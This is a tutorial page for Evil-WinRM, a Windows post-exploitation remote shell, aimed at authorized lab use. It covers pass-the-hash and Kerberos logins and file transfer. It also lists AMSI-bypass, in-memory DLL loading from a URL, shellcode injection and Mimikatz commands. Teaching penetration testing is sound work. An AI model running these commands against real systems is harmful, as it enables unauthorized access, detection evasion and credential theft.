GO KALI FREE

Evil-WinRM

Post Exploitation

Intermediatehigh risk

Learn how to use Evil-WinRM, a Ruby-based client for the Windows Remote Management (WinRM) protocol. This guide covers installation, your first connection, password, pass-the-hash and Kerberos authentication, file transfers and script execution, all for use in authorized lab environments.

Installation

sudo gem install evil-winrm

Basic Syntax

evil-winrm -i <target_ip> -u <user> -p <password>

Quick Facts

Full Name
Evil-WinRM
License
MIT
Language
Ruby
Interface
CLI
Category
Remote Shell
Requires
WinRM Enabled on Target

Tool Overview

Evil-WinRM is a Ruby-based client for the Windows Remote Management (WinRM) protocol. It gives you an interactive PowerShell-like shell on a remote Windows system, so you can run commands, transfer files and load scripts during penetration testing or system administration in authorized lab environments.

Learning how to use Evil-WinRM follows a simple loop: confirm WinRM is enabled on your lab target, install Evil-WinRM on Kali Linux, connect with a password, hash or Kerberos ticket, verify the session with whoami, then transfer files and load scripts to extend what the shell can do.

Here is a first connection to a lab target at 10.10.10.10. Run evil-winrm -i 10.10.10.10 -u Administrator and leave off -p so the tool prompts for the password instead of putting it in your shell history. A successful login drops you at the *Evil-WinRM* PS C:\Users\Administrator> prompt. Type whoami and you will see the account you logged in as, for example winserver-dc\administrator; type hostname and it prints the target machine name. Those two answers confirm the session is live and tell you exactly which host and account you are working as.

Evil-WinRM offers four ways to authenticate, and the right one depends on what you recovered. A password is the simplest start. Pass-the-hash with -H logs in with an NTLM hash when you do not have the plaintext password — pass only the NT hash portion. Kerberos with -r for the realm (and -K for a ticket file) fits Active Directory labs where you already hold a ticket. Client certificates with -c and -k plus -S cover hosts that require certificate authentication.

WinRM listens on TCP 5985 for HTTP and 5986 for HTTPS. Evil-WinRM connects to 5985 by default; add -S -P 5986 for an encrypted session on the HTTPS listener, and use -P for any custom port or -U /wsman when the target uses a non-default endpoint path. Connecting with -S to a plaintext 5985 listener is the most common beginner mistake — the flag and the port must match.

File transfer and scripting are where Evil-WinRM earns its keep. Inside the shell, upload and download move files in both directions with a progress bar, so you can drop tools onto the target and pull loot back without leaving the session. Point -s at a local scripts directory to load .ps1 files you can call by name, and -e at an exes directory to run local binaries in memory with Invoke-Binary; menu lists everything loaded, including Dll-Loader, Donut-Loader and Bypass-4MSI.

WinRM must be enabled on the target before any of this works — on the Windows host, run Enable-PSRemoting in an administrative PowerShell session and make sure ports 5985 and 5986 are reachable from Kali. Evil-WinRM is a single-session tool with no multi-session support, and every example here assumes a lab target you own or have explicit written permission to test.

If you would rather not install Ruby gems, Evil-WinRM also ships as a Docker image (oscarakaelvis/evil-winrm) that mounts your scripts and exes directories as volumes, and a Python reimplementation called evil-winrm-py (pip install evil-winrm-py, also in Kali 2025.4) offers the same flags with loadps, runps, loaddll and runexe menu commands. Both are handy when the Ruby gem is unavailable, but the commands in this guide use the original Ruby tool.

Quick Reference Commands

Verified quick-reference commands for Evil-WinRM
CommandPurpose
evil-winrm -i <target> -u <user>Connect and prompt for the password interactively.
evil-winrm -i <target> -u <user> -H <ntlm-hash>Authenticate with an NTLM hash instead of a password.
evil-winrm -i <target> -u <user> -S -P 5986Connect over encrypted WinRM on the HTTPS port.
evil-winrm -i <target> -u <user> -s <scripts-dir>Load local PowerShell scripts into the session.
upload <local-file> <remote-path>Upload a file to the remote host from inside the shell.
download <remote-file> <local-path>Download a file from the remote host to the local machine.
Evil-WinRM READMEevil-winrm | Kali Linux Tools

Common Commands

evil-winrm -i 10.10.10.10 -u <USER> -p <PASS>Connect to a Windows host over WinRM with a username and password
evil-winrm -i 10.10.10.10 -u <USER> -H <NTLM_HASH>Authenticate using a pass-the-hash NTLM hash instead of a password
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -SConnect using HTTPS/SSL WinRM (port 5986)
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> --port 5986 -SSpecify a custom port and enable SSL
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -s /path/to/scriptsSet a local scripts directory to load PowerShell scripts from
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -e /path/to/exesSet a local executables directory for the Invoke-Binary feature
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -r example.comUse Kerberos authentication with the given realm
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> --spn HTTPSet the SPN prefix for Kerberos authentication
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -c /path/to/cert.pem -k /path/to/key.pemAuthenticate with an SSL client certificate and private key
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -lEnable logging of the session to a file
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -nDisable colored output
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -NDisable remote path completion
upload /path/to/file C:\Windows\Temp\fileMenu command: upload a local file to the remote host
download C:\Users\Administrator\Desktop\flag.txt /path/to/fileMenu command: download a remote file to the local machine
servicesMenu command: list Windows services and their vulnerable permissions
menuShow the Evil-WinRM extra command menu after loading a script
Invoke-Binary /path/to/exeMenu command: execute a local PE/EXE in memory on the target
Bypass-4MSIMenu command: patch AMSI in the current session to evade detection
Dll-Loader -http http://10.10.10.10/lib.dllMenu command: load a DLL into memory from a path or URL
Donut-Loader -process_id 1234 -donutfile /path/to/donut.binMenu command: inject shellcode into a process via Donut
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> --logLong-form logging flag to record the session
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -P 5985Explicitly set the WinRM port
Invoke-MimikatzRun the Mimikatz PowerShell script after loading it from the scripts directory
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -VPrint the Evil-WinRM version
evil-winrm -hDisplay the help menu with all available options
evil-winrm -i 10.10.10.10 -u <USER> -K /path/to/ticket.ccacheAuthenticate with a Kerberos ticket file instead of a password
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -U /wsmanConnect to a custom WinRM endpoint path
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -a 'Custom-Agent'Set a custom user-agent for the WinRM connection

Step-by-Step Guide

  1. 1Confirm Evil-WinRM is installed with evil-winrm -V. If it is missing, install it on Kali Linux with sudo apt install evil-winrm, or as a Ruby gem with gem install evil-winrm.
  2. 2Verify the WinRM listener on your lab target with nmap -p 5985,5986 <target_ip>, or check it with crackmapexec winrm <target_ip> — if neither port answers, enable WinRM on the target first.
  3. 3Make your first password connection with evil-winrm -i 10.10.10.10 -u Administrator, leaving off -p so the tool prompts for the password interactively instead of writing it into your shell history.
  4. 4Verify the session at the *Evil-WinRM* PS prompt: run whoami to confirm the account, hostname for the machine name, and $env:COMPUTERNAME to double-check the host you landed on.
  5. 5Connect over encrypted WinRM with evil-winrm -i <ip> -u <user> -p <pass> -S -P 5986 whenever the target uses the HTTPS listener — the -S flag and the 5986 port go together.
  6. 6Authenticate with a recovered hash using evil-winrm -i <ip> -u <user> -H <ntlm_hash>, passing only the NT hash portion to -H and no plaintext password at all.
  7. 7In an Active Directory lab, connect with Kerberos using evil-winrm -i <ip> -u <user> -r REALM.LOCAL after obtaining a ticket with kinit, or point at an existing ticket file with -K /path/to/ticket.ccache.
  8. 8Transfer files inside the session: upload /home/kali/tool.exe C:\Windows\Temp\tool.exe to send a file to the target, or download C:\Users\Administrator\Desktop\flag.txt /home/kali/flag.txt to pull one back, watching the progress bar.
  9. 9Load scripts and binaries by connecting with -s /opt/scripts and -e /opt/exes, then run menu to list the loaded functions and call a script by name or execute a binary in memory with Invoke-Binary <local_exe>.
  10. 10Record the session by connecting with --log (or -l), and when you are done type exit or quit at the Evil-WinRM prompt to close the shell cleanly.

Use Cases

Remote Shell

Get interactive PowerShell on Windows targets.

Lateral Movement

Pivot between Windows hosts via WinRM.

File Transfer

Upload/download files to/from target.

Extension Loading

Load custom PowerShell scripts dynamically.

Lateral Movement in AD Labs

Move between Windows hosts in an Active Directory lab once WinRM is reachable and credentials or hashes are in hand.

Remote Administration via CLI

Manage lab Windows hosts from the command line where graphical access is unavailable but WinRM is open.

Key Features

Related Tools

CrackMapExec

Post Exploitation

CrackMapExec (CME) is a post-exploitation tool for pentesting Windows and Active Directory networks. It can enumerate users, spray passwords, execute commands, and move laterally.

Impacket

Post Exploitation

Impacket is a versatile collection of Python classes for working with network protocols. It features low-level programmatic access to packets alongside specific full-featured scripts for interacting with Windows domains.

Weevely

Post Exploitation

Learn how to use Weevely 4.0.0 from installation to cleanup: generate an obfuscated PHP agent, place it on an explicitly authorized web server, connect through the Python client, establish a shell, run built-in enumeration and file modules, troubleshoot restrictions, and remove the agent safely.

WinPEAS

Post Exploitation

WinPEAS is a script designed to discover local privilege escalation paths on Windows environments. It audits configurations, user security rights, system vulnerabilities, and active processes.

NetExec

Post Exploitation

NetExec (formerly CrackMapExec successor) is a post-exploitation tool for enumerating and attacking Active Directory environments. It automates SMB, WinRM, LDAP, and SSH attacks across large networks with support for Kerberos, NTLM, and pass-the-hash authentication.

Empire

Post Exploitation

Empire is an open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y and now maintained by BC-Security. It uses PowerShell and Python-based agents to model adversarial persistent access behaviors for authorized security testing, red team engagements, and defensive detection engineering. Empire provides encrypted communications, modular capabilities, and a flexible agent system for extended operations against Windows and Linux environments.

Related Cybersecurity Guides

Active Directory · Advanced

Lateral Movement: Moving Through Network Environments

A comprehensive guide to lateral movement techniques in Windows networks including pass-the-hash, pass-the-ticket, PSExec, WMI, DCOM, and WinRM for authorized penetration testing.

Active Directory · Advanced

Pass-the-Hash: Understanding NTLM Authentication Attacks

An in-depth look at pass-the-hash attacks against NTLM authentication, how they work, real-world exploitation scenarios, detection techniques, and defense strategies.

Active Directory · Advanced

Active Directory Fundamentals: Windows Network Domains

A comprehensive introduction to Microsoft Active Directory covering domain services, LDAP, Group Policy, authentication protocols, and security fundamentals for Windows enterprise environments.

Active Directory · Advanced

BloodHound Guide: Mapping Active Directory Relationships

Learn how to use BloodHound and SharpHound for Active Directory reconnaissance, attack path analysis, privilege escalation detection, and security assessment.

Frequently Asked Questions

What is Evil-WinRM used for?

Evil-WinRM provides an interactive PowerShell shell on Windows targets via the WinRM protocol. It's used for remote command execution, file transfers, and lateral movement during penetration testing.

How does pass-the-hash work with Evil-WinRM?

Evil-WinRM supports NTLM pass-the-hash authentication using the -H flag. You can authenticate to WinRM using only the NTLM hash without knowing the plaintext password.

What protocols does Evil-WinRM support?

Evil-WinRM supports WinRM (HTTP/HTTPS) and can work with both NTLM and Kerberos authentication. It also supports SSL for encrypted WinRM communication.

Can Evil-WinRM run PowerShell scripts?

Yes, Evil-WinRM provides a full PowerShell execution environment. You can use its built-in menu to load extensions like Bypass-4MSI, and execute arbitrary PowerShell cmdlets and scripts.

How do I use Evil-WinRM in Kali Linux?

In Kali Linux, install Evil-WinRM with sudo apt install evil-winrm (it ships with most Kali installs — check with evil-winrm -V), then launch it from a terminal with the target IP, username and authentication method: evil-winrm -i <ip> -u <user>. Once connected you can run PowerShell commands, transfer files with upload and download, and load scripts from the interactive shell.

How do I install Evil-WinRM in Kali Linux?

Evil-WinRM ships with most Kali Linux installs, so first check with evil-winrm -V. If it is missing, install it with sudo apt install evil-winrm. You can also install it as a Ruby gem with gem install evil-winrm, which needs Ruby 2.3 or newer plus the winrm, winrm-fs, stringio, logger, fileutils, readline and readline-ext gems.

How do I upload and download files with Evil-WinRM?

Inside an active Evil-WinRM session, upload moves a file from Kali to the target — upload /home/kali/tool.exe C:\Windows\Temp\tool.exe — and download pulls a file back — download C:\Users\Administrator\Desktop\flag.txt /home/kali/flag.txt. Both are built-in shell commands (not PowerShell), both show a progress bar, and both work best with absolute paths on both sides.

How do I use Evil-WinRM with pass-the-hash?

Pass-the-hash needs only the NTLM hash of the target account: evil-winrm -i <ip> -u <user> -H <ntlm_hash>. Pass only the NT hash portion to -H, not the full LM:NT pair and not the username. You get a full interactive shell without ever knowing the plaintext password, which is why hashes recovered with Mimikatz or CrackMapExec feed straight into Evil-WinRM.

How do I connect with Evil-WinRM using Kerberos?

Kerberos needs a realm and a ticket. Configure the realm in /etc/krb5.conf, obtain a ticket with kinit <user>@REALM, then connect with evil-winrm -i <host> -u <user> -r REALM, or point at an existing ticket cache with -K /path/to/ticket.ccache. Use the target hostname or FQDN with -i rather than a bare IP, since Kerberos validates the service principal name.

How do I enable WinRM on the target so Evil-WinRM can connect?

On the Windows target, open an administrative PowerShell session and run Enable-PSRemoting -Force. That starts the WinRM service, creates the listeners on ports 5985 (HTTP) and 5986 (HTTPS), and opens the firewall rules. Then confirm from Kali with nmap -p 5985,5986 <target> before connecting.

Why does Evil-WinRM say connection refused?

Connection refused almost always means the WinRM service is not running on the target, or a firewall is blocking ports 5985 and 5986. Check the listener with nmap -p 5985,5986 <target> and confirm WinRM is enabled with Enable-PSRemoting on the target. If the ports are open but authentication fails, the account, realm or hash format is the next thing to check.

Evil-WinRM vs PsExec — which should I use?

Evil-WinRM uses the WinRM protocol and gives an interactive PowerShell-like shell with built-in file transfer and script loading, which makes it ideal for lateral movement and post-exploitation on WinRM-enabled hosts. PsExec (Sysinternals, or Impacket's reimplementation) uses SMB and RPC instead, so it works where WinRM is disabled but needs administrative shares. Pick the one whose service is actually listening on your target.

Is Evil-WinRM legal and safe to use?

Evil-WinRM is a legitimate penetration-testing tool, and it is legal only against systems you own, have explicit written permission to test, or use in an authorized lab. Using it on any other system is illegal. Treat every session as sensitive: credentials and hashes pass through it, so log sessions with --log only on machines you control and protect the logs.

How do I update Evil-WinRM?

If you installed it with apt, update it like any Kali package: sudo apt update && sudo apt upgrade evil-winrm. If you installed the Ruby gem, run sudo gem update evil-winrm. Check the installed version afterwards with evil-winrm -V — current releases are v4.x.

Can I use Evil-WinRM on Windows?

Yes. Evil-WinRM is a Ruby gem, so it runs on Windows, macOS and Linux wherever Ruby runs — install it with gem install evil-winrm. The Docker image is another option if you do not want Ruby on your host. Kali Linux is its most common home because it ships pre-installed there, but the commands in this guide are the same on every platform.

What does the Evil-WinRM menu command do?

The menu command lists the extra functions Evil-WinRM has loaded into the session, including Invoke-Binary, Dll-Loader, Donut-Loader and Bypass-4MSI. Those functions appear after you connect with a scripts directory (-s) or an exes directory (-e); run menu any time to see what is available, then call a function by name.

Tags

#post-exploitation#winrm#windows#remote-shell

Output Explanation

A successful Evil-WinRM connection prints its version banner and a connection line, then drops you at the distinctive prompt: Evil-WinRM shell v4.1, Info: Establishing connection to remote endpoint, then *Evil-WinRM* PS C:\Users\Administrator>. The *Evil-WinRM* prefix tells you that you are inside the Evil-WinRM shell rather than a local terminal, and PS C:\Users\Administrator> shows the remote PowerShell working directory and the account you logged in as. Running whoami at that prompt prints the account, for example winserver-dc\administrator, and hostname prints the target machine name such as WINSERVER-DC — together they confirm the session is live and identify the host. Native PowerShell cmdlets work too: Get-Service | Select-Object Name, Status lists the target services in a table, so you can read service state without leaving the shell. The built-in services command is different: typed on its own, it lists Windows services together with what the current account is allowed to do to each one, which is how you spot service misconfigurations for privilege escalation. File transfers narrate themselves: upload /home/kali/shell.exe C:\temp\shell.exe prints the source and destination and draws a progress bar that climbs to 100%, so you always know whether the transfer finished before you run the file.

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.